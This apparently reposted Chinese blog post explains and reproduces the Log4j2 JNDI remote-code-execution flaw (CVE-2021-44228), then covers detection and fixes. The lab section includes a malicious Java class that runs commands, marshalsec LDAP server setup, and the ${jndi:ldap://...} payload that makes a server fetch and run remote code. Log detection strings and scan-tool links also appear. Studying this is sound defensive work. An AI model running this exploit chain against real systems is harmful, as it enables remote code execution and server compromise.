log4j2远程代码执行漏洞学习总结

log4j2远程代码执行漏洞学习总结,第1张

log4j2远程代码执行漏洞学习总结 log4j2远程代码执行漏洞学习总结 背景

近期log4j2的漏洞闹得沸沸扬扬,在工作之余也是找了一些资料看一下相关的内容,到现在网上的总结已经很全了,B站上有各种漏洞复现,各大博客类网站关于JNDI相关漏洞又重新被翻了出来,我这里主要是做一些我自己的总结和理解,以及我个人对漏洞的复现,当然很多内容包括整个实验流程很多都是从网上复制的,虽然是个缝合怪,但实验的代码和总结是自己的,不会像网上某些文章,无脑CV过来,有的还不全。在文章最后会给出我看到的比较好的各种资料。
不过江湖惯例,警告还是要放的

中华人民共和国网络安全法

第二十七条

任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;

不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;

明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。

JNDI 注入原理

很多人一看这种注入原理的字眼,就开始头疼,但我觉得还是有必要说一下。这次log4j2的漏洞,就是log4j2被别人利用,执行了JNDI注入,也就是说log4j2是被人当q使了。而这个JNDI注入,却是很常见的攻击行为,因此需要先了解,我觉得至少要了解一下几个方面。

  • 什么是LDAP?
  • 什么是JNDI?
  • 什么是JNDI注入?
LDAP

首先LDAP是一种通讯协议,LDAP支持TCP/IP。协议就是标准,并且是抽象的。在这套标准下,AD(Active Directory)是微软出的一套实现。那AD是什么呢?暂且把它理解成是个数据库。也有很多人直接把LDAP说成数据库(可以把LDAP理解成存储数据的数据库)。

LDAP也像是其他数据库一样,是有client端和server端。server端是用来存放资源,client端用来 *** 作增删改查等 *** 作。但它是使用树形结构,存储类似于key-value(资源),这你想到了什么,我感觉有点像ZooKeeper。

用树状结构存储的好处毋庸置疑就是快,想想MySQL索引也就知道了,而且他主要也是用来存储资源类的信息,因此不需要像MySQL那样存储结构性的数据(占空间)。

LDAP可以用于统一登录, 统一文件存储,看来看去还是和ZK有点相似之处。

而我们通常说的LDAP是指运行这个数据库的服务器,可以简单理解AD =LDAP服务器+LDAP应用。

JNDI

JNDI(Java Naming and Directory Interface)Java 命名和目录接口,命名服务用于根据名字找到位置、服务、信息、资源、对象。

看到这你可能不懂,但JDBC你总懂吧,你的Java程序可以通过JDBC这套标准接口,可以对接不同数据库,也可以通过JNDI访问到不同的服务,是不是有点像,本质上还是一套标准接口。

JNDI要查找到对应的资源需要有两个过程

  • 发布服务 bind
  • 查找服务 lookup

像极了哈希表的put和get,我强烈怀疑他就是通过哈希表实现的,看到这个lookup标黑了吗,这是重点,log4j2要考。

JNDI可以访问的服务:LDAP(这不就连上了)、RMI(这个也可以看一下,后面的都看不懂了,凑个数)、DNS()、XNam 、Novell目录服务、CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、DSML v1&v2、NIS……

JNDI注入 JNDI动态协议转换

对于lookup方法:即使初始化的Context指定了一个协议,也会根据URI传入的参数来转换协议。也就是说,替换lookup里面的协议内容,则会使用修改后的协议。

这是什么意思呢?就是说本来你想出去吃火锅,但你到了美食街,突然想吃烧烤,那你最终还是会去吃烧烤。

当我们调用lookup()方法时,如果lookup方法的参数, 像是一个uri地址,那么客户端就会去 lookup()方法参数指定的uri中加载远程对象

JNDI 命名引用

以下三条内容请详细阅读三遍,确保理解透彻。

  1. 在LDAP里面可以存储一个外部的资源,叫做命名引用,对应Reference类。比如远程HTTP服务的一个.class文件。
  2. 如果JNDI客户端基于LDAP服务,找不到对应的资源,就去指定的地址请求,如果是命名引用,会把这个文件下载到本地。
  3. 如果下载的.class文件包含无参构造函数或静态方法块,加载的时候会自动执行。

前面说过,LDAP是kv存储,它的value可以是一个外部资源,如果客户端找不到资源就会去把资源下载到本地(转发下载),第三条说的很明白,如果是一个.class文件,就可以自动执行静态代码块和无参构造方法。

JNDI注入流程:

log4j2 RCE漏洞原理

在log4j2有一个Lookups功能,官方文档中是这样写的

Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface.
Lookups提供了一种在任意位置向 Log4j 配置添加值的方法。它们是实现StrLookup接口的特殊类型的插件 。

举个例子

// log4j2 <=2.14.1日志打印
log.info("${java:runtime} - ${java:vm} - ${java:os}");
// 输出结果
// Java(TM) SE Runtime Environment (build 1.8.0_201-b09) from Oracle Corporation - Java HotSpot(TM) 64-Bit Server VM (build 25.201-b09, mixed mode) - Windows 10 10.0, architecture: amd64-64

得到这个结果是因为log4j2允许使用以 java: 为前缀的字符串,检索Java环境信息

The JavaLookup allows Java environment information to be retrieved in convenient preformatted strings using the java: prefix.

同样Log4j2对JNDI也有类似的支持,现在官网的文档描述已经改为

As of Log4j 2.17.0 JNDI operations require that log4j2.enableJndiLookup=true be set as a system property or the corresponding environment variable for this lookup to function. See the enableJndiLookup system property.
从 Log4j 2.17.0 开始,JNDI *** 作要求将 log4j2.enableJndiLookup=true 设置为系统属性或相应的环境变量,以便此查找起作用。请参阅 enableJndiLookup系统属性。
The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a “:” no prefix will be added.
JndiLookup 允许通过 JNDI 检索变量。默认情况下,键将以 java:comp/env/ 为前缀,但是如果键包含“:”,则不会添加前缀。

版本的前缀 j n d i : , 新 版 本 前 缀 改 为 {jndi:},新版本前缀改为 jndi:,新版本前缀改为{ java:comp/env/ } (没试过)。

因此在使用老版本的log4j2中

  1. 任意输入框体,注入jndi模拟攻击,包含 远程加载地址
  2. 日志服务打印记录
  3. 日志服务发现*${jndi:}* 识别JNDI 并进行JNDI服务的 lookup
  4. JNDI动态协议转换
  5. LDAP服务,指定远程加载地址为恶意代码地址
  6. 在客户端访问LDAP服务不存在的引用
  7. 从指定地址动态加载对象
  8. 将远程对象下载到本地,并执行静态代码块

代码示例:

@PostMapping("login")
public ResponseEntity login(LoginForm form) {

    // 漏洞入口代码
    logger.info("login-account:{}", form.getAct());

    // 用户认证
    if(auth(form.getAct(), form.getPwd())) {

        // 记录会话信息
        String token = UUID.randomUUID().toString();
        UserVO user = new UserVO();
        user.setAct(form.getAct());
        SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        user.setLat(sdf.format(new Date()));
        caffeineTemplate.put(token, user);
        return ResponseEntity.ok(token);
    }

    return new ResponseEntity<>(HttpStatus.UNAUTHORIZED);
}

恶意代码示例:

static {
        try {
			//打开计算器
            if (System.getProperty("os.name").toLowerCase().contains("win")) {
                Runtime.getRuntime().exec("calc " );
            }
			//退出程序
            System.exit(0);
        } catch (IOException e) {
            System.out.println(e.getMessage());
        }
}
漏洞复现方式 最简单的方法

在码云上找到Log4j2-CVE-2021-44228这个项目,把它下载下来,按照 README.md 走一遍,虽然我不是这样实现的,但很多内容参考了他的代码,因此我觉得应该没什么问题。

比较真实的还原

我个人比较真实的还原了攻击过程,这个代码就不上传了,网上有很多了,准备了两台linux服务器,和一台windows作为客户端,他们的作用分别如下

  • LinuxA:模拟一个运行的Spring后台,也就是网站的服务器
  • LinuxB:模拟一个IDAP的服务器
  • Windows作为客户端,这没啥说的,主要是Postman发送请求。

客户端和LinuxB是一伙的,扮演攻击者,LinuxA是受害者。

看一下LinuxA的接口很简单,模拟一个登录接口,日志打印一下登录的用户名

@RestController
public class TestController {
    private static final Logger log = LogManager.getLogger(TestController.class);
    @PostMapping("testBug")
    public String testBug(@RequestBody Map params){
        String userName = params.get("userName");
        log.info(userName);
        log.info("${java:runtime} - ${java:vm} - ${java:os}");
        return userName;
    }
}

正常客户端发送的请求

{
    "userName":"呵呵一笑"
}

此时我在LinuxB,先准备一个攻击代码,编译成.class文件

public class Faker {
    private static final String STATIC_RUN="touch /faker_static.txt";
    private static final String CONSTRUCTOR_RUN="touch /faker_constructor.txt";
    static {
        try {
            System.out.println("run commond :"+ STATIC_RUN);
            Runtime.getRuntime().exec(STATIC_RUN);
        } catch (IOException e) {
            System.out.println(e.getMessage());
        }
    }
    public Faker() {
        try {
            System.out.println("run commond :"+ CONSTRUCTOR_RUN);
            Runtime.getRuntime().exec(CONSTRUCTOR_RUN);
        } catch (IOException e) {
            System.out.println(e.getMessage());
        }
    }
}

静态代码块和构造函数里就是攻击的代码,我本想着打印两句话,执行两条命令,但执行命令语句没有生效,可能是由于权限问题,打印是有的。

接下来启动一个web服务,这个步骤很关键,很多教程这个地方讲的都很省略。

我是准备一个Tomcat,将这个.class文件上传到Tomcat下webapps 下,我是放在了自己创建的nb文件夹下,此时启动Tomcat,你是可以通过

http://${ip}:8080/nb/Faker.class

下载到你的文件的,当然你可以用其他方式例如nginx启动这个web服务,但你要启动web服务,才能下载到。

最后准备一个LDAP服务,这个我是从github上下载了网上流行的恶意LDAP服务marshalsec的源码,自己用maven编译了一下,这个代码也很值得学习,可以看一下它是如何创建LDAP服务的。

编译好以后,上传到LinuxB,启动该恶意LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://${ip}:8080/nb/#Faker 8088

其中#Faker是因为我的攻击类叫Faker.class,最后的8088是一个端口,可以按照自己的意愿改动。

此时使用Postman请求接口,参数改为

{
    "userName":"${jndi:ldap://${ip}:8088/test}"
}

注意上面的${ip}是LinuxB的IP,也就是攻击者自己的LDAP服务器,端口要和你上面启动的端口一致

最终结果

最后你可以在LinuxA上看到打印的两句话,可惜的是两句命令无法执行

好像是因为权限的问题,但这不重要,当LinuxA贸然访问到LinuxB的LDAP服务,它就已经输了,如果这是一段挖矿代码,那后果不堪设想,而这一切的源头,仅仅是因为打印了一个参数的日志,这也就是这个漏洞的严重性

log4j RCE漏洞影响范围和排查方法 影响范围:

使用了log4j的组件,并且版本在 2.x <= 2.14.

JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为
true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase
指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加
了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,
默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的
JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,
默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

jdk-8u201, 8u202:最后一个免费商用版本,Oracle于 2019-01-15 停止免费商用更新

这是官方对于奇数版本与偶数版本区别的解释:
从JDK版本7u71以后,JAVA将会在同一时间发布两个版本的JDK,其中:
奇数版本为BUG修正并全部通过检验的版本,官方强烈推荐使用这个版本。
偶数版本包含了奇数版本所有的内容,以及未被验证的BUG修复,
Oracle官方表示:除非你深受BUG困扰,否则不推荐您使用这个版本。

升级到 jdk-8u201之后可以避免一部分攻击.

排查方法

1、pom版本检查
2、可以通过检查日志中是否存在“jndi:ldap://”、“jndi:rmi”等字符来发现可能的攻击行为。
3、检查日志中是否存在相关堆栈报错,堆栈里是否有JndiLookup、ldapURLContext、getObjectFactoryFromReference等与 jndi 调
用相关的堆栈信息
4、各种安全产品 WAF、RASP

排查工具:

没用过,粘贴过来的

https://static.threatbook.cn/tools/log4j-local-check.sh
https://sca.seczone.cn/allScanner.zip
log4j RCE漏洞修复方法 官方方案

1、将Log4j框架升级到最新版本:

新版本log4j2在JNDI lookup中增加了很多的限制:
1、默认不再支持二次跳转(也就是命名引用)的方式获取对象
2、只有在log4j2.allowedLdapClasses列表中指定的class才能获取。
3、只有远程地址是本地地址或者在
log4j2.allowedLdapHosts列表中指定的地址才能获取


    
    
        org.apache.logging.log4j
        log4j-core
        ${log4j.version}
    
    
        org.apache.logging.log4j
        log4j-api
        ${log4j.version}
    


    org.springframework.boot
    spring-boot-starter-log4j2
    2.17.1

临时方案

1、升级JDK
2、修改log4j配置
3、使用安全产品防护:WAF、RASP

log4j配置
  • 设置参数:log4j2.formatMsgNoLookups=True
  • 修改JVM参数:-Dlog4j2.formatMsgNoLookups=true
  • 系统环境变量:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
  • 禁止 log4j2 所在服务器外连
参考博客

https://www.jianshu.com/p/7e4d99f6baaf
https://www.heibai.org/1360.html
https://blog.csdn.net/he_and/article/details/105586691
https://gitee.com/Morningyet/Log4j2-CVE-2021-44228/blob/master/log4j%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5692825.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-17
下一篇 2022-12-17

发表评论

登录后才能评论

评论列表(0条)

保存